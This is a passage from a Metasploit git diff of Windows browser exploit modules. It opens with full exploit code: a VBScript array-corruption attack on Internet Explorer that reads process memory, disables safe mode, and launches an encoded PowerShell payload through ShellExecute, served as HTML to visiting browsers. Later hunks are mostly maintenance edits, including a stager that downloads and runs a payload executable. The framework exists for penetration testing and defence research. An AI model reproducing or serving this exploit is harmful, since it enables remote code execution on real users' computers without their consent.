) + + end + + def vbs_prepare() + code = %Q| +dim aa() +dim ab() +dim a0 +dim a1 +dim a2 +dim a3 +dim win9x +dim intVersion +dim rnda +dim funclass +dim myarray + +Begin() + +function Begin() + On Error Resume Next + info=Navigator.UserAgent + + if(instr(info,"Win64")>0) then + exit function + end if + + if (instr(info,"MSIE")>0) then + intVersion = CInt(Mid(info, InStr(info, "MSIE") + 5, 2)) + else + exit function + + end if + + win9x=0 + + BeginInit() + If Create()=True Then + myarray= chrw(01)&chrw(2176)&chrw(01)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00) + myarray=myarray&chrw(00)&chrw(32767)&chrw(00)&chrw(0) + + if(intVersion<4) then + document.write("<br> IE") + document.write(intVersion) + runshellcode() + else + setnotsafemode() + end if + end if +end function + +function BeginInit() + Randomize() + redim aa(5) + redim ab(5) + a0=13+17*rnd(6) + a3=7+3*rnd(5) +end function + +function Create() + On Error Resume Next + dim i + Create=False + For i = 0 To 400 + If Over()=True Then + ' document.write(i) + Create=True + Exit For + End If + Next +end function + +sub testaa() +end sub + +function mydata() + On Error Resume Next + i=testaa + i=null + redim Preserve aa(a2) + + ab(0)=0 + aa(a1)=i + ab(0)=6.36598737437801E-314 + + aa(a1+2)=myarray + ab(2)=1.74088534731324E-310 + mydata=aa(a1) + redim Preserve aa(a0) +end function + +function setnotsafemode() + On Error Resume Next + i=mydata() + i=readmemo(i+8) + i=readmemo(i+16) + j=readmemo(i+&h134) + for k=0 to &h60 step 4 + j=readmemo(i+&h120+k) + if(j=14) then + j=0 + redim Preserve aa(a2) + aa(a1+2)(i+&h11c+k)=ab(4) + redim Preserve aa(a0) + + j=0 + j=readmemo(i+&h120+k) + + Exit for + end if + + next + ab(2)=1.69759663316747E-313 + runaaaa() +end function + +function Over() + On Error Resume Next + dim type1,type2,type3 + Over=False + a0=a0+a3 + a1=a0+2 + a2=a0+&h8000000 + + redim Preserve aa(a0) + redim ab(a0) + + redim Preserve aa(a2) + + type1=1 + ab(0)=1.123456789012345678901234567890 + aa(a0)=10 + + If(IsObject(aa(a1-1)) = False) Then + if(intVersion<4) then + mem=cint(a0+1)*16 + j=vartype(aa(a1-1)) + if((j=mem+4) or (j*8=mem+8)) then + if(vartype(aa(a1-1))<>0) Then + If(IsObject(aa(a1)) = False ) Then + type1=VarType(aa(a1)) + end if + end if + else + redim Preserve aa(a0) + exit function + + end if + else + if(vartype(aa(a1-1))<>0) Then + If(IsObject(aa(a1)) = False ) Then + type1=VarType(aa(a1)) + end if + end if + end if + end if + + + If(type1=&h2f66) Then + Over=True + End If + If(type1=&hB9AD) Then + Over=True + win9x=1 + End If + + redim Preserve aa(a0) + +end function + +function ReadMemo(add) + On Error Resume Next + redim Preserve aa(a2) + + ab(0)=0 + aa(a1)=add+4 + ab(0)=1.69759663316747E-313 + ReadMemo=lenb(aa(a1)) + + ab(0)=0 + + redim Preserve aa(a0) +end function + + | + + end + + def get_html() + + if datastore['TRYUAC'] + tryuac = 'runas' + else + tryuac = 'open' + end + + payl = cmd_psh_payload(payload.encoded,"x86",{ :remove_comspec => true }) + payl.slice! "powershell.exe " + prep = vbs_prepare() + + html = %Q| +<!doctype html> +<html> +<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8" > +<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> +<body> +<script language="VBScript"> +function runaaaa() +On Error Resume Next + +set shell=createobject("Shell.Application") +shell.ShellExecute "powershell.exe", "#{payl}", "", "#{tryuac}", 0 + +end function +</script> +<script language="VBScript"> +#{prep} +</script> +</body> +</html> + | + + end + + def on_request_exploit(cli, request, target_info) + print_status("Requesting: #{request.uri}") + send_exploit_html(cli, get_html()) + end + +end + diff --git a/modules/exploits/windows/browser/msvidctl_mpeg2.rb b/modules/exploits/windows/browser/msvidctl_mpeg2.rb index 49be6c0f6c..70582071df 100644 --- a/modules/exploits/windows/browser/msvidctl_mpeg2.rb +++ b/modules/exploits/windows/browser/msvidctl_mpeg2.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -75,6 +75,13 @@ class Metasploit3 < Msf::Exploit::Remote @javascript_encode_key = rand_text_alpha(rand(10) + 10) end + def get_srvhost + # If the SRVHOST isn't the default 0.0.0.0, obviously the user wants to + # specify, so we will not force source_address() + return datastore['SRVHOST'] if datastore['SRVHOST'] != '0.0.0.0' + Rex::Socket.source_address(cli.peerhost) + end + def on_request_uri(cli, request) if (request.uri.match(/\.gif$/i)) @@ -187,7 +194,7 @@ class Metasploit3 < Msf::Exploit::Remote j_memory = rand_text_alpha(rand(100) + 1) j_counter = rand_text_alpha(rand(30) + 2) - host = Rex::Socket.source_address(cli.peerhost) + ":" + (datastore["SRVPORT"].to_s) + host = get_srvhost + ":" + (datastore["SRVPORT"].to_s) gif_uri = "http#{(datastore['SSL'] ? 's' : '')}://#{host}" if ("/" == get_resource[-1,1]) gif_uri << get_resource[0, get_resource.length - 1] diff --git a/modules/exploits/windows/browser/mswhale_checkforupdates.rb b/modules/exploits/windows/browser/mswhale_checkforupdates.rb index 143feacd4a..6acfe799f4 100644 --- a/modules/exploits/windows/browser/mswhale_checkforupdates.rb +++ b/modules/exploits/windows/browser/mswhale_checkforupdates.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/msxml_get_definition_code_exec.rb b/modules/exploits/windows/browser/msxml_get_definition_code_exec.rb index a821d4759c..53fa511a44 100644 --- a/modules/exploits/windows/browser/msxml_get_definition_code_exec.rb +++ b/modules/exploits/windows/browser/msxml_get_definition_code_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -16,7 +16,7 @@ class Metasploit3 < Msf::Exploit::Remote :ua_minver => "6.0", :ua_maxver => "9.0", :javascript => true, - :os_name => OperatingSystems::WINDOWS, + :os_name => OperatingSystems::Match::WINDOWS, :classid => "{f6D90f11-9c73-11d3-b32e-00C04f990bb4}", :method => "definition", :rank => GoodRanking diff --git a/modules/exploits/windows/browser/nctaudiofile2_setformatlikesample.rb b/modules/exploits/windows/browser/nctaudiofile2_setformatlikesample.rb index fc2e8760d7..f2619483a0 100644 --- a/modules/exploits/windows/browser/nctaudiofile2_setformatlikesample.rb +++ b/modules/exploits/windows/browser/nctaudiofile2_setformatlikesample.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/nis2004_antispam.rb b/modules/exploits/windows/browser/nis2004_antispam.rb index 978819e958..d137afaaea 100644 --- a/modules/exploits/windows/browser/nis2004_antispam.rb +++ b/modules/exploits/windows/browser/nis2004_antispam.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/nis2004_get.rb b/modules/exploits/windows/browser/nis2004_get.rb index d68c29f45e..292b1c9539 100644 --- a/modules/exploits/windows/browser/nis2004_get.rb +++ b/modules/exploits/windows/browser/nis2004_get.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/notes_handler_cmdinject.rb b/modules/exploits/windows/browser/notes_handler_cmdinject.rb index a32c3f9348..d6e76ffe2d 100644 --- a/modules/exploits/windows/browser/notes_handler_cmdinject.rb +++ b/modules/exploits/windows/browser/notes_handler_cmdinject.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -72,13 +72,11 @@ class Metasploit3 < Msf::Exploit::Remote def on_new_session(session) if session.type == "meterpreter" session.core.use("stdapi") unless session.ext.aliases.include?("stdapi") - end - @dropped_files.delete_if do |file| - win_file = file.gsub("/", "\\\\") - if session.type == "meterpreter" + @dropped_files.delete_if do |file| + win_file = file.gsub("/", "\\\\") begin - wintemp = session.fs.file.expand_path("%TEMP%") + wintemp = session.sys.config.getenv('TEMP') win_file = "#{wintemp}\\#{win_file}" # Meterpreter should do this automatically as part of # fs.file.rm(). Until that has been implemented, remove the @@ -91,7 +89,6 @@ class Metasploit3 < Msf::Exploit::Remote print_error("Failed to delete #{win_file}") false end - end end @@ -184,4 +181,4 @@ class Metasploit3 < Msf::Exploit::Remote end -end \ No newline at end of file +end diff --git a/modules/exploits/windows/browser/novell_groupwise_gwcls1_actvx.rb b/modules/exploits/windows/browser/novell_groupwise_gwcls1_actvx.rb index f5efd9b11a..2c5c4424cf 100644 --- a/modules/exploits/windows/browser/novell_groupwise_gwcls1_actvx.rb +++ b/modules/exploits/windows/browser/novell_groupwise_gwcls1_actvx.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -17,7 +17,7 @@ class Metasploit3 < Msf::Exploit::Remote # :ua_minver => "6.0", # :ua_maxver => "9.0", # :javascript => true, - # :os_name => OperatingSystems::WINDOWS, + # :os_name => OperatingSystems::Match::WINDOWS, # :rank => NormalRanking, # :classid => "{601D7813-408F-11D1-98D7-444553540000}", # :method => "SetEngine" @@ -314,4 +314,4 @@ target.SetEngine(0x7ffe0300-0x45c); // Disclosing ntdll var leak = target.GetMiscAccess(); alert(leak); -=end \ No newline at end of file +=end diff --git a/modules/exploits/windows/browser/novelliprint_callbackurl.rb b/modules/exploits/windows/browser/novelliprint_callbackurl.rb index 958f721273..28b4f9ef75 100644 --- a/modules/exploits/windows/browser/novelliprint_callbackurl.rb +++ b/modules/exploits/windows/browser/novelliprint_callbackurl.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/novelliprint_datetime.rb b/modules/exploits/windows/browser/novelliprint_datetime.rb index 2da261386b..d247e134c7 100644 --- a/modules/exploits/windows/browser/novelliprint_datetime.rb +++ b/modules/exploits/windows/browser/novelliprint_datetime.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/novelliprint_executerequest.rb b/modules/exploits/windows/browser/novelliprint_executerequest.rb index 091a2c876b..6ec5f52b65 100644 --- a/modules/exploits/windows/browser/novelliprint_executerequest.rb +++ b/modules/exploits/windows/browser/novelliprint_executerequest.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/novelliprint_executerequest_dbg.rb b/modules/exploits/windows/browser/novelliprint_executerequest_dbg.rb index 7f2226c210..cc6954458c 100644 --- a/modules/exploits/windows/browser/novelliprint_executerequest_dbg.rb +++ b/modules/exploits/windows/browser/novelliprint_executerequest_dbg.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/novelliprint_getdriversettings.rb b/modules/exploits/windows/browser/novelliprint_getdriversettings.rb index dde8ef8175..fd55d572ea 100644 --- a/modules/exploits/windows/browser/novelliprint_getdriversettings.rb +++ b/modules/exploits/windows/browser/novelliprint_getdriversettings.rb @@ -1,7 +1,7 @@ # -*- coding: binary -*- ### -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/novelliprint_getdriversettings_2.rb b/modules/exploits/windows/browser/novelliprint_getdriversettings_2.rb index 349e7f096d..70db241a7c 100644 --- a/modules/exploits/windows/browser/novelliprint_getdriversettings_2.rb +++ b/modules/exploits/windows/browser/novelliprint_getdriversettings_2.rb @@ -1,5 +1,5 @@ ### -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super( update_info(info, - 'Name' => 'Novell iPrint Client ActiveX Control <= 5.52 Buffer Overflow', + 'Name' => 'Novell iPrint Client ActiveX Control Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in Novell iPrint Client 5.52. When sending an overly long string to the GetDriverSettings() property of ienipp.ocx diff --git a/modules/exploits/windows/browser/novelliprint_target_frame.rb b/modules/exploits/windows/browser/novelliprint_target_frame.rb index e2d21e0e03..4461b2a70e 100644 --- a/modules/exploits/windows/browser/novelliprint_target_frame.rb +++ b/modules/exploits/windows/browser/novelliprint_target_frame.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/ntr_activex_check_bof.rb b/modules/exploits/windows/browser/ntr_activex_check_bof.rb index 9b72d04c9f..89c443a102 100644 --- a/modules/exploits/windows/browser/ntr_activex_check_bof.rb +++ b/modules/exploits/windows/browser/ntr_activex_check_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -17,7 +17,7 @@ class Metasploit3 < Msf::Exploit::Remote # :ua_minver => "6.0", # :ua_maxver => "9.0", # :javascript => true, - # :os_name => OperatingSystems::WINDOWS, + # :os_name => OperatingSystems::Match::WINDOWS, # :classid => "{E6ACF817-0A85-4EBE-9F0A-096C6488CFEA}", # :method => "Check", # :rank => NormalRanking diff --git a/modules/exploits/windows/browser/ntr_activex_stopmodule.rb b/modules/exploits/windows/browser/ntr_activex_stopmodule.rb index b7d998d5e8..c69e5fa1f0 100644 --- a/modules/exploits/windows/browser/ntr_activex_stopmodule.rb +++ b/modules/exploits/windows/browser/ntr_activex_stopmodule.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -16,7 +16,7 @@ class Metasploit3 < Msf::Exploit::Remote # :ua_minver => "6.0", # :ua_maxver => "7.0", # :javascript => true, - # :os_name => OperatingSystems::WINDOWS, + # :os_name => OperatingSystems::Match::WINDOWS, # :classid => "{E6ACF817-0A85-4EBE-9F0A-096C6488CFEA}", # :method => "StopModule", # :rank => NormalRanking @@ -200,4 +200,4 @@ And user to get RCE here: .text:10004473 jz short loc_10004477 .text:10004475 call eax ; RCE! -=end \ No newline at end of file +=end diff --git a/modules/exploits/windows/browser/oracle_autovue_setmarkupmode.rb b/modules/exploits/windows/browser/oracle_autovue_setmarkupmode.rb index 0da727daa7..f8a3ef63fa 100644 --- a/modules/exploits/windows/browser/oracle_autovue_setmarkupmode.rb +++ b/modules/exploits/windows/browser/oracle_autovue_setmarkupmode.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -17,7 +17,7 @@ class Metasploit3 < Msf::Exploit::Remote # :ua_minver => "6.0", # :ua_maxver => "9.0", # :javascript => true, - # :os_name => OperatingSystems::WINDOWS, + # :os_name => OperatingSystems::Match::WINDOWS, # :classid => "{B6FCC215-D303-11D1-BC6C-0000C078797F}", # :method => "SetMarkupMode", # :rank => NormalRanking diff --git a/modules/exploits/windows/browser/oracle_dc_submittoexpress.rb b/modules/exploits/windows/browser/oracle_dc_submittoexpress.rb index 2d0d4c42ed..51961e8099 100644 --- a/modules/exploits/windows/browser/oracle_dc_submittoexpress.rb +++ b/modules/exploits/windows/browser/oracle_dc_submittoexpress.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/oracle_webcenter_checkoutandopen.rb b/modules/exploits/windows/browser/oracle_webcenter_checkoutandopen.rb index b1618c0aaf..f80e83d451 100644 --- a/modules/exploits/windows/browser/oracle_webcenter_checkoutandopen.rb +++ b/modules/exploits/windows/browser/oracle_webcenter_checkoutandopen.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -66,13 +66,11 @@ class Metasploit3 < Msf::Exploit::Remote def on_new_session(session) if session.type == "meterpreter" session.core.use("stdapi") unless session.ext.aliases.include?("stdapi") - end - @dropped_files.delete_if do |file| - win_file = file.gsub("/", "\\\\") - if session.type == "meterpreter" + @dropped_files.delete_if do |file| + win_file = file.gsub("/", "\\\\") begin - wintemp = session.fs.file.expand_path("%TEMP%") + wintemp = session.sys.config.getenv('TEMP') win_file = "#{wintemp}\\#{win_file}" session.shell_command_token(%Q|attrib.exe -r "#{win_file}"|) session.fs.file.rm(win_file) @@ -82,7 +80,6 @@ class Metasploit3 < Msf::Exploit::Remote print_error("Failed to delete #{win_file}") false end - end end end @@ -257,4 +254,4 @@ This code allows to launch other executables with user data provided as argument solution because it allows to pass URL's as arguments. And code executed by mshta is on a privileged zone. Other executables allow to provide SMB URI's but metasploit only allow to 'simulate' a SMB resource through webdav, so the target should have the WebClient service enabled, which is only enabled by default on XP SP3. -=end \ No newline at end of file +=end diff --git a/modules/exploits/windows/browser/orbit_connecting.rb b/modules/exploits/windows/browser/orbit_connecting.rb index 6fde038199..5295485415 100644 --- a/modules/exploits/windows/browser/orbit_connecting.rb +++ b/modules/exploits/windows/browser/orbit_connecting.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -29,6 +29,7 @@ class Metasploit3 < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', + 'AllowWin32SEH' => true }, 'Payload' => { diff --git a/modules/exploits/windows/browser/ovftool_format_string.rb b/modules/exploits/windows/browser/ovftool_format_string.rb index 64e2f6b299..34d945a5d1 100644 --- a/modules/exploits/windows/browser/ovftool_format_string.rb +++ b/modules/exploits/windows/browser/ovftool_format_string.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -129,4 +129,4 @@ xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> send_response(cli, ovf, {'Content-Type'=>'text/xml'}) end -end \ No newline at end of file +end diff --git a/modules/exploits/windows/browser/pcvue_func.rb b/modules/exploits/windows/browser/pcvue_func.rb index e047abf83d..c5c57b34c1 100644 --- a/modules/exploits/windows/browser/pcvue_func.rb +++ b/modules/exploits/windows/browser/pcvue_func.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/persits_xupload_traversal.rb b/modules/exploits/windows/browser/persits_xupload_traversal.rb index 1cc5b98fa6..37963db69d 100644 --- a/modules/exploits/windows/browser/persits_xupload_traversal.rb +++ b/modules/exploits/windows/browser/persits_xupload_traversal.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/quickr_qp2_bof.rb b/modules/exploits/windows/browser/quickr_qp2_bof.rb index 8e173c5c33..d260b5ba37 100644 --- a/modules/exploits/windows/browser/quickr_qp2_bof.rb +++ b/modules/exploits/windows/browser/quickr_qp2_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -17,7 +17,7 @@ class Metasploit3 < Msf::Exploit::Remote # :ua_minver => "6.0", # :ua_maxver => "9.0", # :javascript => true, - # :os_name => OperatingSystems::WINDOWS, + # :os_name => OperatingSystems::Match::WINDOWS, # :rank => Rank, # :classid => "{05D96F71-87C6-11D3-9BE4-00902742D6E0}", # :method => "Attachment_Times" @@ -263,4 +263,4 @@ class Metasploit3 < Msf::Exploit::Remote send_response(cli, html, {'Content-Type'=>'text/html'}) end -end \ No newline at end of file +end diff --git a/modules/exploits/windows/browser/real_arcade_installerdlg.rb b/modules/exploits/windows/browser/real_arcade_installerdlg.rb index e5b96fb70d..c2afc67f27 100644 --- a/modules/exploits/windows/browser/real_arcade_installerdlg.rb +++ b/modules/exploits/windows/browser/real_arcade_installerdlg.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -81,7 +81,7 @@ class Metasploit3 < Msf::Exploit::Remote # Payload's URL payload_src = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] - payload_src << ":" << datastore['SRVPORT'] << get_resource() + "/" + @payload_name + ".exe" + payload_src << ":#{datastore['SRVPORT']}#{get_resource}/#{@payload_name}.exe" # Create the stager (download + execute payload) stager_name = rand_text_alpha(6) + ".vbs" diff --git a/modules/exploits/windows/browser/realplayer_cdda_uri.rb b/modules/exploits/windows/browser/realplayer_cdda_uri.rb index bc3ef3d322..75f94ecd5b 100644 --- a/modules/exploits/windows/browser/realplayer_cdda_uri.rb +++ b/modules/exploits/windows/browser/realplayer_cdda_uri.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/realplayer_console.rb b/modules/exploits/windows/browser/realplayer_console.rb index aed009e52c..33fedfc9c6 100644 --- a/modules/exploits/windows/browser/realplayer_console.rb +++ b/modules/exploits/windows/browser/realplayer_console.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/realplayer_import.rb b/modules/exploits/windows/browser/realplayer_import.rb index 291d61caa2..0aab25f860 100644 --- a/modules/exploits/windows/browser/realplayer_import.rb +++ b/modules/exploits/windows/browser/realplayer_import.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/realplayer_qcp.rb b/modules/exploits/windows/browser/realplayer_qcp.rb index 13c040f298..f6afba6374 100644 --- a/modules/exploits/windows/browser/realplayer_qcp.rb +++ b/modules/exploits/windows/browser/realplayer_qcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/realplayer_smil.rb b/modules/exploits/windows/browser/realplayer_smil.rb index e838f3ccd1..7c0cc98bb6 100644 --- a/modules/exploits/windows/browser/realplayer_smil.rb +++ b/modules/exploits/windows/browser/realplayer_smil.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/roxio_cineplayer.rb b/modules/exploits/windows/browser/roxio_cineplayer.rb index 8f69d7ccf5..af12347a60 100644 --- a/modules/exploits/windows/browser/roxio_cineplayer.rb +++ b/modules/exploits/windows/browser/roxio_cineplayer.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/safari_xslt_output.rb b/modules/exploits/windows/browser/safari_xslt_output.rb index de85d92d8b..d6fe45cc71 100644 --- a/modules/exploits/windows/browser/safari_xslt_output.rb +++ b/modules/exploits/windows/browser/safari_xslt_output.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/samsung_neti_wiewer_backuptoavi_bof.rb b/modules/exploits/windows/browser/samsung_neti_wiewer_backuptoavi_bof.rb index 63cf7eca1c..3fbb8e2519 100644 --- a/modules/exploits/windows/browser/samsung_neti_wiewer_backuptoavi_bof.rb +++ b/modules/exploits/windows/browser/samsung_neti_wiewer_backuptoavi_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/sapgui_saveviewtosessionfile.rb b/modules/exploits/windows/browser/sapgui_saveviewtosessionfile.rb index 4e796bb35c..3fee969510 100644 --- a/modules/exploits/windows/browser/sapgui_saveviewtosessionfile.rb +++ b/modules/exploits/windows/browser/sapgui_saveviewtosessionfile.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/siemens_solid_edge_selistctrlx.rb b/modules/exploits/windows/browser/siemens_solid_edge_selistctrlx.rb index 37f3aeeb95..22de8da2cf 100644 --- a/modules/exploits/windows/browser/siemens_solid_edge_selistctrlx.rb +++ b/modules/exploits/windows/browser/siemens_solid_edge_selistctrlx.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -17,7 +17,7 @@ class Metasploit3 < Msf::Exploit::Remote # :ua_minver => "6.0", # :ua_maxver => "9.0", # :javascript => true, - # :os_name => OperatingSystems::WINDOWS, + # :os_name => OperatingSystems::Match::WINDOWS, # :rank => Rank, # :classid => "{5D6A72E6-C12F-4C72-ABF3-32F6B70EBB0D}" #}) diff --git a/modules/exploits/windows/browser/softartisans_getdrivename.rb b/modules/exploits/windows/browser/softartisans_getdrivename.rb index 805db8262e..b234fe3cdb 100644 --- a/modules/exploits/windows/browser/softartisans_getdrivename.rb +++ b/modules/exploits/windows/browser/softartisans_getdrivename.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/sonicwall_addrouteentry.rb b/modules/exploits/windows/browser/sonicwall_addrouteentry.rb index 1b9243a200..826b8ebc90 100644 --- a/modules/exploits/windows/browser/sonicwall_addrouteentry.rb +++ b/modules/exploits/windows/browser/sonicwall_addrouteentry.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/symantec_altirisdeployment_downloadandinstall.rb b/modules/exploits/windows/browser/symantec_altirisdeployment_downloadandinstall.rb index 8c0f807bcc..de69777a84 100644 --- a/modules/exploits/windows/browser/symantec_altirisdeployment_downloadandinstall.rb +++ b/modules/exploits/windows/browser/symantec_altirisdeployment_downloadandinstall.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/symantec_altirisdeployment_runcmd.rb b/modules/exploits/windows/browser/symantec_altirisdeployment_runcmd.rb index 7c74335168..bdad1cf0ff 100644 --- a/modules/exploits/windows/browser/symantec_altirisdeployment_runcmd.rb +++ b/modules/exploits/windows/browser/symantec_altirisdeployment_runcmd.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/symantec_appstream_unsafe.rb b/modules/exploits/windows/browser/symantec_appstream_unsafe.rb index 69d273145e..034b2bb5a2 100644 --- a/modules/exploits/windows/browser/symantec_appstream_unsafe.rb +++ b/modules/exploits/windows/browser/symantec_appstream_unsafe.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/symantec_backupexec_pvcalendar.rb b/modules/exploits/windows/browser/symantec_backupexec_pvcalendar.rb index 120a16110c..aa83462d25 100644 --- a/modules/exploits/windows/browser/symantec_backupexec_pvcalendar.rb +++ 